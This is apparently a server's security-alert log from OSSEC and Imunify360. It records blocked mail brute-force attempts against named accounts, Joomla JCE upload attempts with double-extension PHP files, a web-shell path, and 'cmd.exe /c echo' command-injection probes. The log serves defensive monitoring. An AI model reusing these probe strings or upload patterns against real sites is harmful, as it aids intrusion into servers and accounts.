plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-21 10:52:42 dovecot_login authenticator failed for H=([49.124.151.83]) [116.98.104.138]:42872: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.184.124.46
country_id: 1269750
description:
Jul 21 10:56:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.184.124.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-21 10:56:09 dovecot_login authenticator failed for H=([1.227.228.131]) [122.184.124.46]:34226: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.126.217.41
country_id: 1210997
description:
2026-07-21 10:56:21 dovecot_login authenticator failed for H=([182.78.112.158]) [103.126.217.41]:45228: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.126.217.41
country_id: 1210997
description:
Jul 21 10:56:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.126.217.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 144.79.58.30
country_id: 1880251
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:dtaqpa.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.185.14
country_id: 1269750
description:
Jul 21 11:08:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.185.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.14
country_id: 1269750
description:
2026-07-21 11:08:24 dovecot_login authenticator failed for H=(c-76-132-238-43.hsd1.ca.comcast.net) [182.95.185.14]:44206: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.68
country_id: 1269750
description:
Jul 21 11:08:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.68 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.68
country_id: 1269750
description:
2026-07-21 11:08:35 dovecot_login authenticator failed for H=(187-51-198-202.customer.tdatabrasil.net.br) [122.187.230.68]:39658: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 173.52.85.236
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/281622873 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.180.61.85
country_id: 1168579
domain: yukticlick.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:23204.yukticlick.com||ServerName:yukticlick.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8f0997a1001d7072b50e5abf8ec2e3591b1c7928||Title:0x4cb73c3c||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 71.179.105.224
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/503103397 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.243.245.35
country_id: 3996063
description:
2026-07-21 11:20:35 H=([10.0.0.53]) [104.243.245.35]:63331 F=<webmex@hotmail.com> rejected RCPT <webmex@hotmail.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.150
country_id: 1835841
description:
Jul 21 11:24:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.150
country_id: 1835841
description:
2026-07-21 11:24:38 dovecot_login authenticator failed for H=([61.222.55.205]) [121.131.220.150]:60025: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.185.142
country_id: 1269750
description:
Jul 21 11:24:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.185.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.142
country_id: 1269750
description:
2026-07-21 11:24:18 dovecot_login authenticator failed for H=([199.187.210.51]) [182.95.185.142]:42576: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-21 11:26:57 dovecot_login authenticator failed for H=([117.205.2.250]) [122.169.40.221]:42986: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.169.40.221
country_id: 1269750
description:
Jul 21 11:26:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.169.40.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.247.22.181
country_id: 1835841
description:
Jul 21 11:26:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.247.22.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-21 11:26:46 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [106.247.22.181]:51439: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.209.88.51
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/922944187 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 203.25.124.230
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:q1tugx.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 203.25.124.230
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/tmp/q1tugx.xml.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77211200
name: IM360 WAF: System Command Access
abuser: 203.25.124.230
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: System Command Access||MVN:ARGS:cmd||MV:cmd.exe /c echo irfvg06tqa6umhjp 2>&1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.55.52.221
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/752368932 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 107.175.126.180
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/shxt_xgkuuu/fonts/shxt.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.147.111.106
country_id: 1522867
description:
Jul 21 11:35:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.147.111.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.147.111.106
country_id: 1522867
description:
2026-07-21 11:35:02 dovecot_login authenticator failed for H=(activox.static.gvt.net.br) [91.147.111.106]:50662: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.145
country_id: 1269750
description:
Jul 21 11:35:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.145 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.227.145
country_id: 1269750
description:
2026-07-21 11:35:27 dovecot_login authenticator failed for H=([183.223.156.154]) [122.187.227.145]:53742: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 8.17.123.167
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ac3681774 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.57.196
country_id: 1835841
description:
2026-07-21 11:47:15 dovecot_login authenticator failed for H=([14.96.106.175]) [112.160.57.196]:41502: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.163.127.14
country_id: 1269750
description:
Jul 21 11:47:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.163.127.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.163.127.14
country_id: 1269750
description:
2026-07-21 11:47:31 dovecot_login authenticator failed for H=([27.32.40.37]) [122.163.127.14]:2815: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.160.57.196
country_id: 1835841
description:
Jul 21 11:47:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.160.57.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.38.12.129
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c02434268 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.9.143
country_id: 1668284
description:
Jul 21 11:52:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.9.143 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.143
country_id: 1668284
description:
2026-07-21 11:52:45 dovecot_login authenticator failed for H=111-70-9-143.emome-ip.hinet.net ([102.210.148.41]) [111.70.9.143]:50378: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.120.77.34
country_id: 1668284
description:
Jul 21 11:53:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.120.77.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.77.34
country_id: 1668284
description:
2026-07-21 11:53:06 dovecot_login authenticator failed for H=221-120-77-34.emome-ip.hinet.net (173-18-106-54.client.mchsi.com) [221.120.77.34]:33537: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.204.60.250
country_id: 1835841
description:
Jul 21 11:55:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.204.60.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.204.60.250
country_id: 1835841
description:
2026-07-21 11:55:58 dovecot_login authenticator failed for H=([121.173.245.152]) [119.204.60.250]:49788: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.119.44.29
country_id: 1282988
description:
Jul 21 12:07:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.119.44.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.119.44.29
country_id: 1282988
description:
2026-07-21 12:07:30 dovecot_login authenticator failed for H=([68.71.255.210]) [111.119.44.29]:53712: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.15.31
country_id: 1269750
description:
Jul 21 12:07:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.15.31 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.15.31
country_id: 1269750
description:
2026-07-21 12:07:41 dovecot_login authenticator failed for H=(111-70-42-37.emome-ip.hinet.net) [122.160.15.31]:39473: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.213.59
country_id: 1269750
description:
2026-07-21 12:12:56 dovecot_login authenticator failed for H=([101.13.4.124]) [182.66.213.59]:59634: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.66.213.59
country_id: 1269750
description:
Jul 21 12:12:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.66.213.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.254.40.89
country_id: 6252001
description:
Jul 21 12:14:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.254.40.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.40.89
country_id: 6252001
description:
2026-07-21 12:14:45 dovecot_login authenticator failed for H=([103.140.18.186]) [207.254.40.89]:62625: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.148
country_id: 1733045
description:
2026-07-21 12:14:24 dovecot_login authenticator failed for H=([174.64.199.92]) [49.124.152.148]:34688: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.157.13.210
country_id: 3686110
description:
Jul 21 12:17:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.157.13.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-21 12:17:26 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [190.157.13.210]:35756: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.167.116.147
country_id: 1269750
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:38368.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e24db712a96fdcd269b0ab7f9bc82d3ca9e7d23e||Title:0xca3edd1f||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.111.162.8
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/56190182 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 144.79.58.30
country_id: 1880251
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:ham6nv.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 21 12:26:37 vps sshd[2716332]: error: kex_exchange_identification: read: Connection reset by peer


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.248.126.202
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/145.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.107.163.195
country_id: 3932488
description:
Jul 21 12:31:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.107.163.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-21 12:31:05 dovecot_login authenticator failed for H=([178.177.40.23]) [200.107.163.195]:54076: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.99.181.123
country_id: 2661886
description:
Jul 21 12:31:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.99.181.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-21 12:31:22 dovecot_login authenticator failed for H=([82.102.158.36]) [65.99.181.123]:47502: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.243.245.35
country_id: 3996063
description:
2026-07-21 12:31:48 H=([10.0.0.53]) [104.243.245.35]:5841 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<ventas@empresasmexico.com> rejected RCPT <ventas@empresasmexico.com>: SMTP AUTH is required for message submission on port 465


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-07-21 12:35:15 dovecot_login authenticator failed for H=([183.171.236.113]) [14.46.58.104]:54058: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.46.58.104
country_id: 1835841
description:
Jul 21 12:35:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.46.58.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.45.84.119
country_id: 2589581
description:
Jul 21 12:35:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.45.84.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-21 12:35:34 dovecot_login authenticator failed for H=([206.220.175.5]) [129.45.84.119]:40424: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77469916
abuser: 142.93.77.217
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:mastahhod7i.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.66.178.246
country_id: 1861060
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 the crypto luxury marketplace [<a href=\"https://satowatch.com\">satowatch.com</a>] (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.231.142.160
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/wp-content/uploads/2013/03/Jamo-D-600-HCS-2-7.1.jpg HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 111.221.44.12
country_id: 1880251
domain: www.ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceu5sylasq.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 142.93.77.217
country_id: 6252001
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:mastaos2jpt.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.140
country_id: 3175395
description:
Jul 21 12:44:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.140 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.177.176.164
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/061089914 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316832
name: IM360 WAF: Suspicious Joomla plugin installation attempt
abuser: 2401:4900:8fdd:80b0:69cc:57f9:d368:38fb
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Suspicious Joomla plugin installation attempt||File:mod_visformsreportstats-1.0.0.zip||RSV:8.32||T:APACHE||Install directory:/home/futuracarecom/tmp||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.116.72.42
country_id: 6252001
description:
[2026-07-21 12:53:35 +0530] info [whostmgrd] 50.116.72.42 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.202.162.196
country_id: 3624060
description:
2026-07-21 12:56:28 dovecot_login authenticator failed for H=(111-70-9-143.emome-ip.hinet.net) [143.202.162.196]:60828: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.202.162.196
country_id: 3624060
description:
Jul 21 12:56:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.202.162.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.106.245.167
country_id: 3017382
description:
Jul 21 12:56:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.106.245.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.106.245.167
country_id: 3017382
description:
2026-07-21 12:56:50 dovecot_login authenticator failed for H=([197.219.228.242]) [87.106.245.167]:48894: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.154.241.57
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/52839135 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.symbaloo.com/mix/paperiounblocked2?lang=GB\">paper.io</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.72.198.61
country_id: 1835841
description:
Jul 21 13:02:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.72.198.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-21 13:02:20 dovecot_login authenticator failed for H=([213.234.5.66]) [220.72.198.61]:49187: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.102.190
country_id: 1269750
description:
Jul 21 13:02:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.102.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-21 13:02:35 dovecot_login authenticator failed for H=([70.166.167.33]) [182.95.102.190]:54074: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 96.56.228.149
country_id: 6252001
description:
Jul 21 13:02:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 96.56.228.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.56.228.149
country_id: 6252001
description:
2026-07-21 13:02:57 dovecot_login authenticator failed for H=ool-6038e495.static.optonline.net (azteca-comunicaciones.com) [96.56.228.149]:44488: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 178.128.73.110
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 directory of businesses that accept Monero - <a href=\"https://xmrlist.com\">https://xmrlist.com</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.52.167.233
country_id: 2542007
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/97170350 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.96.146.250
country_id: 6252001
description:
Jul 21 13:18:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.96.146.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.96.146.250
country_id: 6252001
description:
2026-07-21 13:18:31 dovecot_login authenticator failed for H=(217-29-30-135.saimanet.kg) [157.96.146.250]:59528: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.1.51.168
country_id: 2635167
description:
Jul 21 13:18:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.1.51.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.1.51.168
country_id: 2635167
description:
2026-07-21 13:18:45 dovecot_login authenticator failed for H=oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net ([27.223.98.117]) [80.1.51.168]:52824: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://reporting.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77211200
name: IM360 WAF: System Command Access
abuser: 203.25.124.230
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: System Command Access||MVN:ARGS:cmd||MV:cmd.exe /c echo oaqlivhhkda9hwfr 2>&1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 203.25.124.230
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:i87euw.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 203.25.124.230
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/tmp/i87euw.xml.php||WPU:||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.148.134.155
country_id: 2077456
description:
Jul 21 13:22:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.148.134.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.148.134.155
country_id: 2077456
description:
